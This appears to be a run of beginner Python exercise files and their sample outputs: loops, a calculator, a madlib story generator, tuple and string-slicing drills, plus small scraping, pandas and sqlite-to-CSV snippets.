numbers = [51, 32, 63, 74, 45, 36, 47]

for i in numbers:
   pass
numbers = [51, 32, 63, 74, 45, 36, 47]

for num in numbers:
    if num % 2 == 0:
        continue
    else:
        print(num)
numbers = [51, 32, 63, 74, 45, 36, 47]

for num in numbers:
    if num % 5 == 0:
        print(num)
        break
wizard_list = ["Wand", "Cauldron", "crystal phials", \
        "telescope", "brass scales", "Owl", \
        "Cat", "Toad", \
        "Feather"]

for items in wizard_list:
    print(items)
wizard_list = ["Wand", "Cauldron", "crystal phials", \
        "telescope", "brass scales", "Owl", \
        "Cat", "Toad", \
        "Feather pen"]

print(wizard_list[0])
print(wizard_list[1])
print(wizard_list[2])
print(wizard_list[3])
print(wizard_list[4])
print(wizard_list[5])
print(wizard_list[6])
print(wizard_list[7])
print(wizard_list[8])
 _____________________
|  _________________  |
| | Pythonista   0. | |  .----------------.  .----------------.  .----------------.  .----------------. 
| |_________________| | | .--------------. || .--------------. || .--------------. || .--------------. |
|  ___ ___ ___   ___  | | |     ______   | || |      __      | || |   _____      | || |     ______   | |
| | 7 | 8 | 9 | | + | | | |   .' ___  |  | || |     /  \     | || |  |_   _|     | || |   .' ___  |  | |
| |___|___|___| |___| | | |  / .'   \_|  | || |    / /\ \    | || |    | |       | || |  / .'   \_|  | |
| | 4 | 5 | 6 | | - | | | |  | |         | || |   / ____ \   | || |    | |   _   | || |  | |         | |
| |___|___|___| |___| | | |  \ `.___.'\  | || | _/ /    \ \_ | || |   _| |__/ |  | || |  \ `.___.'\  | |
| | 1 | 2 | 3 | | x | | | |   `._____.'  | || ||____|  |____|| || |  |________|  | || |   `._____.'  | |
| |___|___|___| |___| | | |              | || |              | || |              | || |              | |
| | . | 0 | = | | / | | | '--------------' || '--------------' || '--------------' || '--------------' |
| |___|___|___| |___| |  '----------------'  '----------------'  '----------------'  '----------------' 
|_____________________|
                           Welcome to pythonista Calculator
                  We support the following operations on two numbers:
                  - subraction
                  + addition
                  * multiplication
                  / division
                  ** exponention
                  % modular division

Enter 1st number:- 13
Enter 2nd number:- 2 
Enter the operator here:- *
13 * 2 = 26
calc = """
 _____________________
|  _________________  |
| | Pythonista   0. | |  .----------------.  .----------------.  .----------------.  .----------------. 
| |_________________| | | .--------------. || .--------------. || .--------------. || .--------------. |
|  ___ ___ ___   ___  | | |     ______   | || |      __      | || |   _____      | || |     ______   | |
| | 7 | 8 | 9 | | + | | | |   .' ___  |  | || |     /  \     | || |  |_   _|     | || |   .' ___  |  | |
| |___|___|___| |___| | | |  / .'   \_|  | || |    / /\ \    | || |    | |       | || |  / .'   \_|  | |
| | 4 | 5 | 6 | | - | | | |  | |         | || |   / ____ \   | || |    | |   _   | || |  | |         | |
| |___|___|___| |___| | | |  \ `.___.'\  | || | _/ /    \ \_ | || |   _| |__/ |  | || |  \ `.___.'\  | |
| | 1 | 2 | 3 | | x | | | |   `._____.'  | || ||____|  |____|| || |  |________|  | || |   `._____.'  | |
| |___|___|___| |___| | | |              | || |              | || |              | || |              | |
| | . | 0 | = | | / | | | '--------------' || '--------------' || '--------------' || '--------------' |
| |___|___|___| |___| |  '----------------'  '----------------'  '----------------'  '----------------' 
|_____________________|
                           Welcome to pythonista Calculator
                  We support the following operations on two numbers:
                  - subraction
                  + addition
                  * multiplication
                  / division
                  ** exponention
                  % modular division
"""
print(calc)
first_number = int(input("Enter 1st number:- "))
second_number = int(input("Enter 2nd number:- "))
operator_ = input("Enter the operator here:- ")

if operator_ == "-":
    result = first_number - second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "+":
    result = first_number + second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "*":
    result = first_number * second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "/":
    result = first_number / second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "**":
    result = first_number ** second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "%":
    result = first_number % second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

else:
    print("You entered an invalid operator!!")
a = int(input("Enter value of a:-\n"))
b = int(input("Enter value of b:-\n"))
print("a is greater than b") if a > b else print("b is greater than a")
num = -19

if num>=0:
    if type(num)==float:
        print(f"{num} is a positive floating-point number.")
    elif type(num)==int:
        print(f"{num} is a positive integer.")

else:
    if type(num)==float:
        print(f"{num} is a negative floating-point number.")
    elif type(num)==int:
        print(f"{num} is a negative integer.")
age = 19

if age==18:
    print("You're 18 go through the next check to know whether you qualify for license or not.")
if age > 18:
    print("You are above 18 you do qualify age criteria for license.")
else:
    print(f"You are not yet 18 come after {18-age} years to qualify the age criteria.")
age = 19

if age==18:
    print("You're 18 go through the next check to know whether you qualify for license or not.")
elif age > 18:
    print("You are above 18 you do qualify age criteria for license.")
else:
    print(f"You are not yet 18 come after {18-age} years to qualify the age criteria.")
num = -19

if num>=0:
    print(f"{num} is a positive number.")
else:
    print(f"{num} is a negative number.")

print("This will always be printed")
Welcome to the fun world ladies and gentleman


⠀⠀⠀⠀⠀⠀⠀⣠⡔⠚⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠑⠢⢄⠀⢀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⠔⠋⠻⢿⣷⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣽⣧⣷⠀⠀⠀⠀
⠀⠀⢀⠴⠁⠀⠀⠀⠀⢈⣹⣿⣿⣷⠀⠀⠀⠀⠀⢾⣿⣿⣟⠋⠁⠈⠳⡀⠀⠀
⠀⢠⠊⣀⣤⠴⠶⠖⢛⠻⣿⣿⣭⣀⣀⠀⠀⠀⠀⠀⠉⠻⡿⠳⠖⠶⠶⠟⠓⠲
⣴⢣⡞⡉⢄⠒⡈⠜⡀⢾⣏⠉⠙⠛⠻⠿⢿⣿⣶⣶⣿⠿⢷⡡⢘⡐⢢⠘⡄⢂
⣿⡏⡐⢌⠢⠑⡌⠂⢥⣿⣿⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⣀⣼⣷⠠⠘⡄⠣⡐⠂..
⡟⣷⠀⢆⠢⡑⣈⢡⡾⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡷⣅⠰⢁...⡡
⡇⠈⠻⣦⣴⣤⠶⠋⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠈⠉⠓⠒⢪
⡇⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡃⠀⠀⠀⠀⢸
⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⢸
⠘⡄⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⢀⠏
⠀⠙⣄⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⣠⠏⠀
⠀⠀⠈⠢⡀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⢀⡴⠁⠀⠀
⠀⠀⠀⠀⠈⠲⢄⠀⠀⠀⠀⠀⠀⠉⠿⣿⣿⣿⣿⣿⠿⠋⠀⣠⠔⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⠒⠤⣤⣀⣀⣀⣀⣀⣈⣉⣉⣠⠤⠖⠏⠁

Enter any of the words below and press enter to know its meaning in the fun world
['Bumfuzzle', 'Everywhen', 'Erf', 'Obelus', 'Bumbershoot']

Enter the word here:- Obelus
searching...

The meaning of 'Obelus' in our world is:-  the symbol used for division in a math problem
print("\nWelcome to the fun world ladies and gentleman\n")
print("""
⠀⠀⠀⠀⠀⠀⠀⣠⡔⠚⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠑⠢⢄⠀⢀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⠔⠋⠻⢿⣷⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣽⣧⣷⠀⠀⠀⠀
⠀⠀⢀⠴⠁⠀⠀⠀⠀⢈⣹⣿⣿⣷⠀⠀⠀⠀⠀⢾⣿⣿⣟⠋⠁⠈⠳⡀⠀⠀
⠀⢠⠊⣀⣤⠴⠶⠖⢛⠻⣿⣿⣭⣀⣀⠀⠀⠀⠀⠀⠉⠻⡿⠳⠖⠶⠶⠟⠓⠲
⣴⢣⡞⡉⢄⠒⡈⠜⡀⢾⣏⠉⠙⠛⠻⠿⢿⣿⣶⣶⣿⠿⢷⡡⢘⡐⢢⠘⡄⢂
⣿⡏⡐⢌⠢⠑⡌⠂⢥⣿⣿⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⣀⣼⣷⠠⠘⡄⠣⡐⠂..
⡟⣷⠀⢆⠢⡑⣈⢡⡾⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡷⣅⠰⢁...⡡
⡇⠈⠻⣦⣴⣤⠶⠋⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠈⠉⠓⠒⢪
⡇⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡃⠀⠀⠀⠀⢸
⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⢸
⠘⡄⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⢀⠏
⠀⠙⣄⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⣠⠏⠀
⠀⠀⠈⠢⡀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⢀⡴⠁⠀⠀
⠀⠀⠀⠀⠈⠲⢄⠀⠀⠀⠀⠀⠀⠉⠿⣿⣿⣿⣿⣿⠿⠋⠀⣠⠔⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⠒⠤⣤⣀⣀⣀⣀⣀⣈⣉⣉⣠⠤⠖⠏⠁
""")

fun_world_dictionary = {'Bumfuzzle': "confused",
                        'Everywhen': "all the time",
                        'Erf': "plot of land",
                        'Obelus': " the symbol used for division in a math problem",
                        'Bumbershoot': "umbrella"}

# I know that it's not quiet funnny(ok not at all funny). But, please forgive me for that

print("Enter any of the words below and press enter to know its meaning in the fun world")
list_of_words = list(fun_world_dictionary.keys())
print(list_of_words, "\n")


word_to_be_searched = input("Enter the word here:- ")
print("searching...\n")
meaning =""

if word_to_be_searched=="Bumfuzzle":
    meaning= fun_world_dictionary['Bumfuzzle']

if word_to_be_searched=="Everywhen":
    meaning= fun_world_dictionary['Everywhen']

if word_to_be_searched=="Erf":
    meaning= fun_world_dictionary['Erf']

if word_to_be_searched=="Obelus":
    meaning= fun_world_dictionary['Obelus']

if word_to_be_searched=="Bumbershoot":
    meaning= fun_world_dictionary['Bumbershoot']


print(f"The meaning of '{word_to_be_searched}' in our world is:- {meaning}\n")
$ uvicorn main:app --reload --port 8000
import pip
import importlib
def import_with_auto_install(package):
    try:
        return importlib.import_module(package)
    except ImportError:
        pip.main(['install', package])
    return importlib.import_module(package)
# Example
if __name__ == '__main__':
    imp = import_with_auto_install('{insert module name here}')
    print(imp)
import requests
from bs4 import BeautifulSoup

def get_mining_districts():
    url = "https://www.tanzaniainvest.com/mining"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"}
    
    try:
        response = requests.get(url, headers=headers, timeout=10)
        response.raise_for_status()  # Raise an exception for HTTP errors
        soup = BeautifulSoup(response.content, 'html.parser')
        
        mining_section = soup.find('span', {'id': 'District'})
        
        districts = []
        if mining_section:
            district_list = mining_section.find_next('ul')
            if district_list:
                district_items = district_list.find_all('li')
                for district_item in district_items:
                    district_name = district_item.text.strip()
                    districts.append(district_name)
                    
        return districts
    except requests.exceptions.RequestException as e:
        print("Error:", e)
        return None

if __name__ == "__main__":
    mining_districts = get_mining_districts()
    if mining_districts:
        for index, district in enumerate(mining_districts, start=1):
            print(f"{index}. {district}")
df['unique'] = ~df['value'].duplicated(keep=False)
print (df)
   value  unique
0      1    True
1      2   False
2      2   False
3      3    True
4      4   False
5      4   False
trophies = {"Music championship", "Coding Championship", \
    "Certified Associate in Python Programming (PCAP)", \
    "CompTIA Security+", \
    "MongoDB Certified Developer Associate Exam"}

print(trophies)
print(type(trophies))
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣷⣶⣴⣾⣿⣿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣀⣤⣤⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣤⣤⣄⠀⠀⠀⠀
⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀
⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠈⢻⣿⣿⣿⣿⣿⣿⣿
⢿⣿⣿⣿⣿⣿⣿⣿⡿⠻⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿
⢈⣿⣿⣿⣿⣿⣿⣯⡀⠀⠈⠻⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠈⠛⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀
⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀
⠀⠀⠀⠀⠉⠛⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠛⠉⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⠿⢿⡻⠿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀

{'Liam': ('Yes', 'No', 'Yes'), 'Olivia': ('Yes', 'No', 'Yes'), 'Noah': ('Yes', 'Yes', 'Yes'), 'Emma': ('Yes', 'No', 'Yes')}
done = """
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣷⣶⣴⣾⣿⣿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣀⣤⣤⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣤⣤⣄⠀⠀⠀⠀
⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀
⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠈⢻⣿⣿⣿⣿⣿⣿⣿
⢿⣿⣿⣿⣿⣿⣿⣿⡿⠻⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿
⢈⣿⣿⣿⣿⣿⣿⣯⡀⠀⠈⠻⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠈⠛⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀
⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀
⠀⠀⠀⠀⠉⠛⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠛⠉⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⠿⢿⡻⠿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀
"""
print(done)

name_homework_done = {"Liam": ("Yes", "No", "Yes"),
                      "Olivia": ("Yes", "No", "Yes"),
                      "Noah": ("Yes", "Yes", "Yes"),
                      "Emma": ("Yes", "No", "Yes")}
print(name_homework_done)
homework = ("Multiplication Table of Two", \
"A poem on environment", "Multiplication Table of Two",\
"Process of Photosynthesis",\
"Maps of the world", "glorious past revision",\
"Multiplication Table of Two")

print(homework)
print()
print(homework.index("Multiplication Table of Two"))
homework = ("Multiplication Table of Two", \
"A poem on environment", "Multiplication Table of Two",\
"Process of Photosynthesis",\
"Maps of the world", "glorious past revision",\
"Multiplication Table of Two")

print(homework)
print()
print(homework.count("Multiplication Table of Two"))
homework = ("Multiplication Table of Two", \
"A poem on environment", "Process of Photosynthesis",\
"Maps of the world", "glorious past revision")

print(homework)

HW = homework
print(HW)
homework1 = ("Multiplication Table of Two", \
"A poem on environment", "Process of Photosynthesis")

homework2 = ("Maps of the world", "glorious past revision")

homework = homework1 + homework2

print(homework)
s_tup = hello <class 'str'>
s1_tup = ('hello',) <class 'tuple'>
s2_tup = hello <class 'str'>       
s3_tup = ('hello',) <class 'tuple'>
s_tup = "hello"  # This will be a string
s1_tup = "hello",  # This will be a tuple
s2_tup = ("hello")  # This will be a string
s3_tup = ("hello",)  # This will be a tuple

print(f"s_tup = {s_tup} {type(s_tup)}")
print(f"s1_tup = {s1_tup} {type(s1_tup)}")
print(f"s2_tup = {s2_tup} {type(s2_tup)}")
print(f"s3_tup = {s3_tup} {type(s3_tup)}")
___________________________________ 
|#######====================#######|
|#(1)*UNITED STATES OF AMERICA*(1)#|
|#**          /===\   ********  **#|
|*# {G}      | (") |             #*|
|#*  ******  | /v\ |    O N E    *#|
|#(1)         \===/            (1)#|
|##=========ONE DOLLAR===========##|
------------------------------------

{'apple': [100, 10000, 1000], 'banana': [90, 9000, 900], 'spinach': [50, 4000, 800], 'pineapples': [100, 8000, 900]}
money = """
___________________________________
|#######====================#######|
|#(1)*UNITED STATES OF AMERICA*(1)#|
|#**          /===\   ********  **#|
|*# {G}      | (") |             #*|
|#*  ******  | /v\ |    O N E    *#|
|#(1)         \===/            (1)#|
|##=========ONE DOLLAR===========##|
------------------------------------
"""
print(money)

price_profit_revenue = {"apple": [100, 10000, 1000], 
                        "banana": [90, 9000, 900], 
                        "spinach": [50, 4000, 800], 
                        "pineapples": [100, 8000, 900]}

print(price_profit_revenue)
import csv
import sqlite3

chr_ranges = (0x00, 0x09), (0x0B, 0x20), (0x7F, 0xA0)  # 'special' character ranges
trans_table = {x: " " for r in chr_ranges for x in range(*r)} # 'special'->space trans. table

def trans_field(value):
    try:
        return value.translate(trans_table)  # try to translate and return
    except AttributeError:  # if there's no translate method on the passed value...
        return value  # return the original value

connection = sqlite3.connect("your_db")  # connect to the database
cursor = connection.cursor()  # grab a database cursor
results = cursor.execute("select * from your_table")  # execute the select query
header = [c[0] for c in cursor.description]  # get the column names for our CSV header

with open("output.csv", "w", newline="") as f:  # open("output.csv", "wb") on Python 2.x
    writer = csv.writer(f, delimiter="\t")  # create a CSV writer with \t as a delimiter
    writer.writerow(header)  # write the header (column names)
    for result in results:  # iterate over the returned results
        writer.writerow(map(trans_field, result))  # process result fields and write the row
            , ; ,     
        .'         '.
       /   ()   ()   \
      ;               ;
      ; :.  MADLIB .; ;
       \'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'

Enter a name:- someone
Enter a skill:- programming
Enter any object:- laptop
Enter a verb:- typing
Enter another verb:- searching
Enter a verb again:- creating
Enter an adjective:- fast


-----------Original Story-----------
A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"

-----------Madlib Story-----------
A fast boy named someone had just passed his programming test
and asked his Dad if he could start using the family laptop. The Dad
said he'd make a typing with someone, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the laptop". someone thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "someone, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
someone said, "You know, Dad, I've been searching about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all creating everywhere they went?"
Madlib_logo ='''
            , ; ,     
        .'         '.
       /   ()   ()   \\
      ;               ;
      ; :.  MADLIB .; ;
       \\'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'
'''
print(Madlib_logo)
#step1: Store story in a variable.
story = '''A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"'''

#step2: Input variables.
name = input("Enter a name:- ")
skill = input("Enter a skill:- ")
object_ = input("Enter any object:- ")
verb1 = input("Enter a verb:- ")
verb2 = input("Enter another verb:- ")
verb3 = input("Enter a verb again:- ")
adjective = input("Enter an adjective:- ")

#step3: Store the variables in a list
blanks = [name, skill, object_, verb1, verb2, verb3, adjective]

#step4: Merge variable in story using an f-string
changed_story = f'''A {blanks[6]} boy named {blanks[0]} had just passed his {blanks[1]} test
and asked his Dad if he could start using the family {blanks[2]}. The Dad
said he'd make a {blanks[3]} with {blanks[0]}, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the {blanks[2]}". {blanks[0]} thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "{blanks[0]}, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
{blanks[0]} said, "You know, Dad, I've been {blanks[4]} about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all {blanks[5]} everywhere they went?"'''

#step5: print both the stories
print(f"\n\n-----------Original Story-----------\n{story}\n\n-----------Madlib Story-----------\n{changed_story}")
            , ; ,     
        .'         '.
       /   ()   ()   \
      ;               ;
      ; :.  MADLIB .; ;
       \'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'

Enter a name:- Emma
Enter a skill:- acting
Enter any object:- sword
Enter a verb:- crying
Enter another verb:- sleeping
Enter a verb again:- dancing
Enter an adjective:- magical


-----------Original Story-----------
A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"

-----------Madlib Story-----------
A magical boy named Emma had just passed his acting test
and asked his Dad if he could start using the family sword. The Dad
said he'd make a crying with Emma, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the sword". Emma thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "Emma, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
Emma said, "You know, Dad, I've been sleeping about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all dancing everywhere they went?"
Madlib_logo ='''
            , ; ,     
        .'         '.
       /   ()   ()   \\
      ;               ;
      ; :.  MADLIB .; ;
       \\'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'
'''
print(Madlib_logo)
#step1: Store story in a variable.
story = '''A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"'''

#step2: Input variables.
name = input("Enter a name:- ")
skill = input("Enter a skill:- ")
object_ = input("Enter any object:- ")
verb1 = input("Enter a verb:- ")
verb2 = input("Enter another verb:- ")
verb3 = input("Enter a verb again:- ")
adjective = input("Enter an adjective:- ")

#step3: Merge variable in story using an f-string
changed_story = f'''A {adjective} boy named {name} had just passed his {skill} test
and asked his Dad if he could start using the family {object_}. The Dad
said he'd make a {verb1} with {name}, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the {object_}". {name} thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "{name}, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
{name} said, "You know, Dad, I've been {verb2} about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all {verb3} everywhere they went?"'''

#step4: print both the stories
print(f"\n\n-----------Original Story-----------\n{story}\n\n-----------Madlib Story-----------\n{changed_story}")
input_string = input()
input_string = input_string.upper() #to convert all letters of
#string to upper case
print(len(input_string)) #to count the total no. of characters
str_to_list = input_string.split(",") #to convert the string to list
#so that we can join the list with full stops
print(".".join(str_to_list)) #to join the elements of the list to
#form a full stop separated string
word="standard"
ans5 = word[1:4]
print(ans5)
#Output should be tan
word="standard"
ans4 = word[:6:2]
#Another way:- word[0:6:2]
print(ans4)
#Output should be sad
wrd="Toscana"
ans3 =wrd[3:6]
print(ans3)
#Output should be can
find_sum = 'Lorem Ipsum'
